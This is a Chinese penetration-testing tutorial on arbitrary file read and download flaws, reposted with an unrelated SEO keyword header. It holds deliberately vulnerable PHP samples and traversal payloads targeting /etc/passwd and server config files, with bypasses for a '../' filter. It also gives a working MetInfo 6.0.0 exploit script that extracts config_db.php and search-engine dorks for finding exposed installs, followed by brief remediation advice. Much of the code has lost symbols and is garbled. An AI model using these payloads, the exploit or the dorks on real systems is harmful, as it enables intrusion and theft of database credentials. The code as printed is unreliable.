网站建设好后能直接打开吗上海仓储公司
web/
2025/10/3 23:35:33/
文章来源:
网站建设好后能直接打开吗,上海仓储公司,网站建设网页设计做网站,最新新闻事件今天国内大事文章目录 渗透测试漏洞原理任意文件读取1. 任意文件读取概述1.1 漏洞成因1.2 漏洞危害1.3 漏洞分类1.4 任意文件读取1.4.1 文件读取1.4.2 任意文件读取1.4.3 权限问题 1.5 任意文件下载1.5.1 一般情况1.5.2 PHP实现1.5.3 任意文件下载 2. 任意文件读取攻防2.1 路径过滤2.1.1 过… 文章目录 渗透测试漏洞原理任意文件读取1. 任意文件读取概述1.1 漏洞成因1.2 漏洞危害1.3 漏洞分类1.4 任意文件读取1.4.1 文件读取1.4.2 任意文件读取1.4.3 权限问题 1.5 任意文件下载1.5.1 一般情况1.5.2 PHP实现1.5.3 任意文件下载 2. 任意文件读取攻防2.1 路径过滤2.1.1 过滤../ 2.2 简单绕过2.2.1 双写绕过2.2.2 绝对路径2.2.3 使用..\2.2.4 设置白名单 3. 任意文件读取挖掘3.1 手工挖掘3.2 经典案例metlnfo_6.0.0_file-read3.2.1 漏洞描述3.2.2 漏洞等级3.2.3 影响版本3.2.4 漏洞复现3.2.5 漏洞点分析3.2.6 深度利用3.2.7 修复建议 4. 漏洞修复方案4.1 输入验证4.2 避免其他漏洞4.3 限定文件的访问范围 渗透测试漏洞原理
任意文件读取 1. 任意文件读取概述
一些网站的需求可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过就可以查看或下载任意文件。这些文件可以是源代码文件配置文件敏感文件等等。
任意文件读取会造成敏感信息泄露任意文件读取很多情况是由于其他漏洞引发的如RCE、目录遍历、文件包含等。任意文件读取与任意文件下载本质上没有区别信息都是从服务端流向浏览器的。
任意文件读取与下载可能形式不同但是从本质上讲读取与下载没有区别从权限角度来讲读取与下载都需要读权限。
1.1 漏洞成因
不管是任意文件读取还是任意文件下载触发漏洞的条件都是相同的
存在读取文件的功能函数也就是说Wb应用开放了文件读取功能读取文件的路径客户端可控完全控制或影响文件路径参数没有对文件路径进行校验或者校验不严导致校验被绕过输出了文件的内容。
1.2 漏洞危害
下载服务器任意文件包括源代码文件、系统敏感文件、配置文件等等。
可以配合其他漏洞构成完整攻击链。对源代码文件进行代码审计查找更多的漏洞。
任意文件读取与下载重点关注的文件
源代码配置文件敏感文件日志文件…
1.3 漏洞分类
任意文件读取任意文件下载
1.4 任意文件读取
以PHP脚本为例子有一些函数可以实现文件读取功能。
1.4.1 文件读取
读取文件的函数函数特点readfile()直接读取文件内容自带输出功能feed()直接读取文件内容需要输出读取内容fread()打开文件计算文件大小读取文件输出文件关闭文件
函数具体介绍PHP: Hypertext Preprocessor。
实验环境在phpstudy的www目录下创建一个file-read目录在目录中创建一下php文件。
readfile
// readfile.php
?php$fp ../phpinfo.php; readfile($fp);
?访问页面查看页面源代码读取成功。 file_get_contents
// file_get_contents.php
?php$fp ../phpinfo.php; echo file_get_contents($fp);
?访问页面查看页面源代码读取成功。 fread
// fread.php
?php$fp ../phpinfo.php;$f fopen($fp,r); //打开文件$f_size filesize($fp); //计算文件大小echo fread($f, $f_size); //读取文件内容并输出到页面上fclose($f);
?访问页面查看页面源代码读取成功。 1.4.2 任意文件读取
变量$fp,会捕获GET方式传递过来的filepath参数。
$fp $_GET[filepath];filepath客户端可控并且没有经过校验会造成任意文件读取漏洞。
?filepathindex.php ?filepath/etc/passwd
?filepathc:\windows\system32\drivers\etc\hosts ?filepathc:\phpstudy_2016\apache\conf\httpd.conf ?filepathc:\phpstudy_2016\mysql\my.ini?filepath../../../../../../../../../../phpstudy_2016/www/phpinfo.php
?filePath../../../../../../../../windows\system32\drivers\etc\hosts
?filePath../../../../../../etc/hosts1.4.3 权限问题
Windows IIS ASP/ASPX低权限Windows Apache php高权限Windows Java高权限Linux Apache PHP低权限Linux Nginx PHP不一定Linux Java高权限
1.5 任意文件下载
1.5.1 一般情况
直接下载例如图片另存为。
a标签下载
a href ./a.jpgIMG Download/a1.5.2 PHP实现
PHP文件下载实现过程
先读取文件在输出文件提供下载
// file-download.php?php$fp ./a.jpg;header(Content-Type:image/jpg);header(Content-Disposition:attachment;fileName.basename($fp));readfile($fp);
?1.5.3 任意文件下载
任意文件下载的条件
已知目标文件路径目标文件路径客户端可控没有经过校验或校验不严格
$fp $_GET[filepath];实验
?php$fp $_GET[filepath];// header(Content-Type:image/jpg);header(Content-Disposition:attachment;fileName.basename($fp));readfile($fp);
?下载成功 文件内容如下
2. 任意文件读取攻防
2.1 路径过滤
2.1.1 过滤…/
?php$fp $_GET[filepath];$fp str_replace(../,,$fp); readfile($fp);
?2.2 简单绕过
2.2.1 双写绕过
?filepath..././..././..././..././..././..././..././windows\system32\drivers\etc\hosts2.2.2 绝对路径
?filepathc:/windows\system32\drivers\etc\hosts2.2.3 使用…\
?filepath..\..\..\..\..\windows\system32\drivers\etc\hosts2.2.4 设置白名单
设置只能访问a,b,cPHP文件
?php$fp $_GET[filepath];if($fp a.php or $fp b.php or $fp c.php){readfile($fp);}else{echo Please stop!;}
?3. 任意文件读取挖掘
3.1 手工挖掘
从文件名上看从参数名上看readfile.phpfiledownload.phpfilelist.phpffilefilepathfpreadfilepathreadpath url menuMETA-INF WEB-INFcontent
3.2 经典案例metlnfo_6.0.0_file-read
下载链接MetInfo历史版本与文件。
说明内容漏洞编号–漏洞名称MetInfo 6.0.0 任意文件读取漏洞漏洞评级高危影响范围MetInfo 6.0.0漏洞描述MetInfo 存在任意文件读取漏洞攻击者利用该漏洞 在具有权限的情况下可以读取网站任意文件包括配置文件等敏感文件。修复方案打补丁 升级 上设备
3.2.1 漏洞描述
MetInfo 是一套使用PHP 和MySQL 开发的内容管理系统。MetInfo 6.0.0 ~ 6.1.0 版本中的 /app/system/include/module/old_thumb.class.php 文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。
3.2.2 漏洞等级
高危
3.2.3 影响版本
MetInfo 6.0.0
3.2.4 漏洞复现
基础环境
组件版本OSMicrosoft Windows Server 2016 StandardWeb ServerphpStudy 2016MetInfo6.0.0
安装过程 访问页面 漏洞点
/include/thumb.php页面访问该路径
http://127.0.0.1/MetInfo_6.0.0/include/thumb.php使用bp抓包查看bp是默认不抓图片的包这里修改配置。 将抓取到的数据包右键发送到重发器上。 第一次测试
/include/thumb.php?dir..././http/..././config/config_db.php第二次测试
/include/thumb.php?dir.....///http/.....///config/config_db.php第三次测试
/include/thumb.php?dirhttp/.....///.....///config/config_db.php第四次测试
/include/thumb.php?dirhttp\..\..\config\config_db.php注意
此POC 仅适用于Windows 系统Linux 下无效。 因为输入的右斜线\在windows中作为目录的分隔符而linux中不是。
3.2.5 漏洞点分析
漏洞点产生位置在thumb.php文件 加载old_thumb类 说明这里的防守做两步判断 将…/和./全部过滤为空。 if判断前四个字符必须是http并且计算./的位置也就是提交的dir变量中是否有./的出现如果没有出现返回false。 readfile()任意文件读取函数 dir这个读取文件的路径客户端可控但是不完全可控限制可以被绕过。
3.2.6 深度利用
exp编写
import requests
import sysbanner
MetInfo 6.0.0___________.__.__ __________ .___\_ _____/|__| | ____ \______ \ ____ _____ __| _/| __) | | | _/ __ \ | _// __ \\__ \ / __ | | \ | | |_\ ___/ | | \ ___/ / __ \_/ /_/ | \___ / |__|____/\___ |____|_ /\___ ____ /\____ | \/ \/ \/ \/ \/ \/ Usage: python3 *.py http://192.168.188.183/MetInfo_6.0.0/
headers {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
}dir_list [..././http/..././config/config_db.php,.....///http/.....///config/config_db.php,http/.....///.....///config/config_db.php,http\..\..\config\config_db.php
]def attack(host):vul /include/thumb.phpurl host vulres requests.get(url url, headers headers)if res.status_code ! 200:print(f[INFO] {vul} is Not Exists!)exit()print(f[INFO] {vul} is Exists!)for param in dir_list:params {dir: param }res requests.get(url url, params params, headers headers)print(f[INFO] Test URL: {res.url})if ?php in res.text:print([RESULT] The target is vulnreable!)print(f[RESULT]\n{res.text})breakif len(sys.argv) 2:print(banner)exit()host sys.argv[1]attack(host host)漏洞挖掘
指纹信息
传统搜索引擎
Powered by MetInfo 6.0.0
intext:Powered by MetInfo 6.0.0 inurl:twFOFA
appmetinfoZoomEye
app:MetInfo
app:MetInfoos:Windows3.2.7 修复建议
打补丁升级上设备
4. 漏洞修复方案
4.1 输入验证
让web用户只能访问读取所需要的文件和路径。
4.2 避免其他漏洞
不能有文件包含漏洞目录遍历漏洞或其他漏洞。
4.3 限定文件的访问范围
让用户不能访问Web根目录以外的路径。
php.ini配置文件中可以通过选项open_basedir来限定文件访问的范围。
open_basedir C:\software\phpstudy_pro\WWW实验
不做限定的情况 做限定的情况 但是这样还有读取到当前的配置文件。 解决方式所有的修复方案需要配合使用。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/86474.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!